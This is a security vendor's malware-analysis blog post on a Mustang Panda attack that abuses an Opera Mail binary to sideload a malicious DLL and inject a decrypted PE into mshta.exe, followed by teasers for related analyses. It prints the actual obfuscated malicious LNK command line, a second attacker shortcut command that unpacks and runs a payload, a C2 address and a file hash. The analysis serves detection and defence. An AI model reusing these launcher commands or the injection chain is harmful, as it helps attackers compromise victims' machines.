Mustang Panda – PE Injection through Opera Mail

We came across a tweet where Mustang Panda APT abuses an Opera Mail binary to sideload a malicious dll and then inject malicious code into an mshta.exe process.

Initial vector for this infection chain is a .rar file named as lydwcb.rar1, which contains a crafted LNK file that is named “2023 03 26 Vonulásos gyűlés — Körjegyzék” which translates to ‘March meeting — Circular list’. It mimics a shortcut to a PDF to deceive users.

The lnk file has a size of around 8KB, in the properties view we can see cmd.exe in the target path. Only upto 255 bytes of content can be viewed in the target path.

The actual content can be seen in the below image.

“ /c bdeuri&bootstart&cmd /c ___\##\___\##\operamail.exe||(forfiles /^P %USERPROFILE%\ /S /^M "2023 03 26 Vonulásos gyűlés - Körjegyzék.rar" /C "cmd /^c &iDj&cmd /c (c:\progra~1\wi^nrar\winr^ar x -id -o+ @path||pfUY||c:\progra~2\winr^ar\winra^r x -id -o+ @path||c:\progra~1\7-Zip\7^z x -y -aoa @path||fBF||c:\progra~2\7-Zip\7^z x -y -aoa @path)&&___\##\___\##\operamail.exe").\qDhXcqWRggxcBtQNDEaeJMhl.pdf “

The above command executes an application named operamail.exe in the specified path and if it is not found it searches for a rar file with the name of this shortcut file and then proceeds to extract it and execute the operamail.exe.

Some of the extracted files are extracted within folders with hidden attributes and names that are just symbols like hash and underscore. Inside one of these folders is binary named operamail.exe and the malware dll which is aptly named for the exe to sideload it, operamail.dll. It also contains a .dat file named opermail.dat. Apart from that there are other files in the folder which have random files names.

The operamail.dll and operamail.dat have hidden attribute set.

The opermail.dll has 6 export functions mimicking the original operamail.dll that is usually associated with the opera mail application.

Upon executing the lnk file it executes this operamail.exe which loads the malicious operamail.dll. It doesn’t exhibit any malicious behaviour until the export function ‘OpStart’ is called.

The code inside that export function is not straight forward. It includes a lot of JMP instructions to make the analysis difficult.

After going down the OpStart export function we see a CALL, which is responsible for creating and opening the decoy PDF document. Below is the figure of the PDF getting created.

The document is in Hungarian claiming that a rally is to take place in Budapest on March 26. A normal user would not suspect anything once this PDF is shown on the screen after executing the lnk file.

The actual malware activity begins after this decoy PDF is displayed. There is another CALL in the OpStart export function after the PDF creation code which is responsible for process injection to mshta and performing a C2 connection.

Firstly it searches for the file named opermail.dat and gets its attributes where the results show that the file is hidden and the parent file is an archive.

Then it opens the operamail.dat and reads it onto the memory.

The contents of the opermail.dat are decrypted and it turns out to be a PE file.

The decrypted PE file is a dll with an export function named Initialize.

Then the malware creates a new instance of the mshta.exe process for the decrypted file to be injected.

Then it writes this PE file into the mshta.exe process’s memory. The malicious code is then executed using the CreateRemoteThread API.

It is usual for any malware to inject shellcode and start executing it, but in this case it injects a PE file and it starts executing from byte 0 i.e. 4D5A. It is fabricated in a way that it goes on to execute the export function.

It created a mutex named vpKhPHaLx.

It tries to establish a connection to its C2 server 45.90.59.39.

The files with random names in the hidden folder(can be seen in Figure 3) are not used in this infection chain.

We at K7 Labs have detection against such threats. Users are requested to secure their devices by installing a reputed security product like “K7 Total Security” and keep it updated to stay protected from the latest threats.

IOCs

File Name : lydwcb.rar1

Hash : 821ec39800471963a4ccef10b587b8d6

Detection Name : Trojan ( 005a0e241 ) 

Comments

Post a Comment

Popular posts from this blog

AMOS (MacOS Stealer)

  In the last week of April 2023, it was reported on twitter , that through a telegram channel a new malware was being offered as “Atomic MacOS Stealer”. Many samples of this malware were found on the internet. Figure 1 – Atomic MacOS Stealer Most of these samples were masquerading as an installer of various applications like Tor browser, Photoshop CC, Notion, FL studio. Figure 2 – Amos DMGfiles masquerading as different applications These are delivered as a DMGfile(Disk Image) which is the common format for software distribution & installation packages on macOS. We identified the Tor browser DMG file for the analysis. When we execute the DMG file it gets mounted and we can see the resulting window advises the user to execute the application by right clicking. Figure 3 – Tor Browser These fake applications are created by using Appify , which is used to create applications just by having the executable alone. The icons can be customised. That’s why these applications are in dif...
Read more

Ransomed by Warlock Dark Army “OFFICIALS”

  Recently we came across a tweet shared by petikvx . The tweet was on a ransomware family that had the group name similar to the WARLOCK DARK ARMY. The similarities with Chaos ransomware seem to end with the attacker group’s name. Upon analyzing the ransomware from the tweet we suspect both to be very different groups just based on their malware’s attributes. The sample under consideration was compiled using C/C++, in case of Chaos ransomware it is usually .Net. Statically looking at the file we noticed a resource entry under Bitmap with an identifier “14”, while analyzing the file code we noticed that this resource was read and loaded on to the memory. Hence we decided to dump that resource entry. Figure 1: Encrypted blob in resource section Figure 2 : Loading blob into the memory During our code analysis we found this blob was XOR encrypted. The first 16 bytes of this blob acts as the key for XOR decryption and the rest is the data which plays a key role in this ransomware’s in...
Read more

MuddyWater Back with DarkBit

  Recently, we came across a tweet about DarkBit ransomware. An Iranian APT group, named MuddyWater, is reportedly behind the DarkBit ransomware. In this blog we will explore the ransomware’s initial access method, the use of Cobalt Strike and the final ransomware payload. Initial Access Method The initial lure was delivered as an ISO file. Figure 1 – ISOFile The payload included a shortcut file (with a .doc extension) and a zip file. Figure 2 – Contents Inside ISO File The shortcut was using PrintBrm.exe to unpack the HR-Update.zip and run it as shown below. PrintBrm.exe is a windows inbuilt command line tool . Figure 3 – Shortcut File cmd.exe /c xcopy .\HR-Update.zip %TEMP% /h /y && PrintBrm.exe -r -f %TEMP%\HR-Update.zip -d %TEMP%\unzip & %TEMP%\unzip\HR-Update.exe Figure 4 – HR-Update.exe Running HR-Update.exe was a Cobalt Strike beacon. Cobalt Strike, a penetration testing tool, can also be used by attackers for gaining a foothold in the system. The final ran...
Read more